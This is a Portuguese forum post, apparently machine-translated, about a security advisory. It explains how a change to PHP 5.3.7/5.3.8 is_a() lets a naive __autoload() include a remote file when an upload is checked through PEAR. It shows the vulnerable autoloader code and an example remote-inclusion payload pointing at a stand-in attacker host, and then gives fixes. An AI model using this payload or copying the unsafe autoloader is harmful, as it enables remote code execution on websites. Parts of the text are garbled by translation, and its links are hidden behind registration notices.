Bug de segurança em função is_a no PHP 5.3.7 / 5.3.8
O comportamento da função is_a foi radicalmente alterado, causando bastante alguns erros para os clientes usando PHP certas / Frameworks PEAR. Foi investigado o assunto e descobriu a origem, e de forma alarmante, descobriu-se que um grande buraco de segurança foi introduzido.
O que foi corrigido?
PHP 5.3.7 inclui uma correção para o bug Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar.... Essa correção entretanto mudou o comportamento da função is_a (), uma função normalmente utilizada para verificar se uma determinada variável é um filho de uma classe específica. O comportamento original aceita todos os tipos de insumos como seu argumento principal, incluindo cordas. O comportamento anterior era para ver se esta "string" foi uma instância de uma classe específica, o que obviamente não era, e return false. O novo comportamento no entanto, as tentativas de ser "útil", e passa seu primeiro argumento para o __autoload () função. E é esta mudança exata que causou um comportamento inesperado.
O problema que estavam tendo é que tinham algum código (personalizado), que implementou um autoloader muito básico, em uma tentativa de reduzir a pegada de memória por carregar automaticamente as definições de classe, quando eram necessários utilizando o __autoload () função. Seu código nunca no entanto deverá ser dada outra coisa senão um nome da classe, mas agora, de repente, eles estavam recebendo todos os tipos de objetos. Tomemos por exemplo o seguinte trecho de código usando uma biblioteca de arquivos padrão de pêra:
Código PHP:
01 //autoload function from http://www.php.net/manual/en/language.oop5.autoload.php
02 function __autoload($class_name) {
03 include $class_name . '.php';
04 }
05 $uploaded_file = File::readAll($uploaded_filename);
06 if (PEAR::isError($uploaded_file)){
07 print_error($uploaded_file);
08 }else{
09 process_upload($uploaded_file);
10 }
Normalmente não se esperaria que o __autoload () função para ser chamado a todos aqui, mas o PEAR:: Arquivo biblioteca PEAR usa os padrões e usa o PEAR:: IsError () chamada internamente para verificar se o arquivo foi lido corretamente ou se um erro foi retornado. Esta função acaba por chamar a função is_a, e isso acaba chamando a função autoloader, que é obviamente mal equipada para lidar com qualquer coisa, mas classnames explícito.
Como resultado, mesmo pedaço deste padrão de código PHP, utilizando bibliotecas padrão e trechos de código a partir do site php.net-se de repente tem o seu comportamento mudou. Em vez de simplesmente enviar o arquivo carregado para o process_upload () função, a função __autoload () agora tenta incluir um arquivo que não existe e gera um erro gigante.
O problema com o novo comportamento
O maior problema com este novo comportamento no entanto, não é apenas o fato de que os erros são exibidos de repente. É claro que este era um problema para os webmasters, mas o problema real está ainda mais profunda do que isso ...
Um monte de __autoload () implementações encontramos em sistemas que usam o exemplo padrão do php.net para incluir suas classes, que não contém qualquer tipo de verificações antes de tentar incluir um arquivo. Enquanto pode-se argumentar que nunca é uma boa idéia para simplesmente copiar o código de exemplo em um ambiente real, isso acontece com mais freqüência do que não, de acordo com verificações. E é exatamente nesse comportamento padrão que está o problema.
Se olharmos novamente no exemplo acima, é fácil ver o que acontece. Um arquivo, digamos um arquivo JPG, é carregado pelo usuário e ler a partir do disco. O script verifica para ver se ele ler o arquivo corretamente e ao fazê-lo passar o conteúdo do arquivo carregado para o __autoload () função, que tenta carregar a classe. Agora, normalmente o servidor iria imprimir um erro dizendo "Error:" include (/ var / www / domain.com / upload / .php) [function.include]: failed to open stream: Arquivo ou diretório de erro "(# 2 ). ", e apresentar isso para o usuário.
Agora, o que se o usuário não fazer upload de um arquivo de imagem, mas um arquivo de texto cuidadosamente elaborado com uma extensão JPEG. Imagine por exemplo o seguinte conteúdo no arquivo:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
"http://www.cracker.com/hack-me-include" . ".php" => "http://www.cracker.com/hack-me-include.php"
Neste ponto, você pode considerar o seu site perdido, como o hacker pode executar qualquer código que quiser em seu site. Ele tem acesso total ao arquivo de configuração do banco de dados, suas configurações, seu banco de dados com informações de clientes, e tudo mais. O único recurso que você tem neste momento é restaurar todo o seu site a partir de uma cópia de segurança conhecido e confiável, altere todas as suas senhas (ambos para o seu envirnoment hospedagem, seu site, e para todos os seus clientes que é a informação tenha sido exposto à hackers.
A correção
Felizmente há algumas maneiras de corrigi-lo:
Desabilitar o Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... configuração no seu PHP.ini para evitar a inclusão de arquivos remotos
Corrigir o seu __autoload () para incluir somente a partir de um dir local;
Código PHP:
1 include("./includes/" . $class_name . ".php");
É claro, a melhor solução para isso é não instalar o PHP 5.3.7 ou PHP 5.3.8 até o Projeto PHP tenha corrigido este Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar... e revertido para o comportamento antigo.
Fontes de Pesquisa:
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
Comment